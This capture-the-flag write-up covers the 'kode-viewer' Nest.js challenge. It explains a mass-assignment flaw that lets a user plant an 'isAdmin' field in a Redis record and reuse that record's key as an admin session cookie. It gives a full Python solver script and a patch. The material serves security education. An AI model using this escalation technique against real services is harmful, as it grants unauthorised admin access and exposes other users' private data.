kode-viewer

Description

Elevate your kode-share experience with kode-viewer.

by vidner


Analysis

We are given full source-code of a website built using Nest.js. From the docker-compose.yml we can infer that the database used for this challenge is Redis.

services:
  kode-viewer:
    build:
      context: .
      args:
        - PASSWORD=root
    ports:
      - '10000:3000'
    depends_on:
      - redis
    environment:
      - REDIS_HOST=redis
      - REDIS_PORT=6379
  redis:
    image: public.ecr.aws/docker/library/redis:alpine
    volumes:
      - ./redis-data:/data

From the kode.services.ts file, we could see that the create function uses the whole payload argument and expands them when sending it to the Redis database. This is dangerous since we can add new keys outside of the KodeDTO type. The payload is not checked against the KodeDTO type since types are only a suggestion in TypeScript, rather than a strict rule.

// snip
  async create(email: string, payload: KodeDTO) {
    payload.kind = payload.kind ? 'private' : 'public';
    const key = `kode-${email}-${payload.name}-${payload.lang}-${payload.kind}`;
    return this.kv.set(key, { email, ...payload }, 1200);
  }
// snip

On the list function, we can see that we could only see our own kode if we are not an admin. But if we are an admin, we can see every kode on the database. So we would probably want to be an admin to get the flag.

 // snip
   async list(user: Session) {
    const kodes = user.isAdmin
      ? await this.kv.find('kode-*')
      : await this.kv.find(`kode-${user.email}-*`);
    return this.parse(kodes);
  }
// snip

Solution

To somehow overwrite the user, we need to look at how the session is implemented. The session token is just a random UUIDv4 and no sanitization is applied to it.

// snip
    const sessionId = uuidv4();
    await this.kv.set(sessionId, user, 1800);
// snip

Therefore, we can use a kode ID as a session token, where that kode is injected with an isAdmin with a value of True . This exploit is possible because of Redis, where it does not have a concept of tables. This means that if different types of objects are using the same database, the key must be identifiable to that type and also checked rigorously to avoid collisions like what is happening in this case.

r = requests.post(f"http://{ip}:{port}/kode",
                  data={
                     "name": "asdf", 
                     "lang": "python", 
                     "kode": "hello", 
                     "isAdmin": True
                  },
                  headers={"Cookie": f"session={session}"},
                  allow_redirects=False
)

Then, the new kode can be interpreted as a session token and we can get all the kode in the database. On the remote service, the kode containing the flag will start with flag as the name and will be set to private.

Solver Script

#!/usr/bin/env python3
import requests
import sys
import re

ip = sys.argv[1]
port = "10000"

EMAIL = "[email protected]"
PASSWORD = "dasdnnsaldnsa"
PAYLOAD = "[email protected]"

r = requests.post(f"http://{ip}:{port}/auth/register", 
                  data={"email": EMAIL, "password": PASSWORD},
)

r = requests.post(f"http://{ip}:{port}/auth/login", 
                  data={"email": EMAIL, "password": PASSWORD},
                  allow_redirects=False
)

session = r.cookies["session"]
r = requests.post(f"http://{ip}:{port}/kode",
                  data={
                     "name": 
                     "asdf", 
                     "lang": "python", 
                     "kode": "hello", 
                     "isAdmin": True
                  },
                  headers={"Cookie": f"session={session}"},
                  allow_redirects=False
)

session = PAYLOAD
r = requests.get(
    f"http://{ip}:{port}/kode", 
    headers={"Cookie": f"session={session}"}
)

flags = r.text
flag_urls = re.findall(r"\".*flag_.*-private\"", flags)

for flag_url in flag_urls:
    flag_url = flag_url.replace("\"", "")
    r = requests.get(
        f"http://{ip}:{port}{flag_url}", 
        headers={"Cookie": f"session={session}"}
     )
    print(r.text, flush=True)

Patch

Since the culprit is the create function, we can patch it to only insert the keys that is defined by KodeDTO.

// snip
  async create(email: string, payload: KodeDTO) {
    payload.kind = payload.kind ? 'private' : 'public';
    const key = `kode-${email}-${payload.name}-${payload.lang}-${payload.kind}`;
    return this.kv.set(key, { email, kind: payload.kind, name: payload.name, lang: payload.lang, kode: payload.kode }, 1200);
  }
// snip

But after the competition, we realized that there are other exploits other than ours. So the true patch is to not use Redis as your main database xD.

Last updated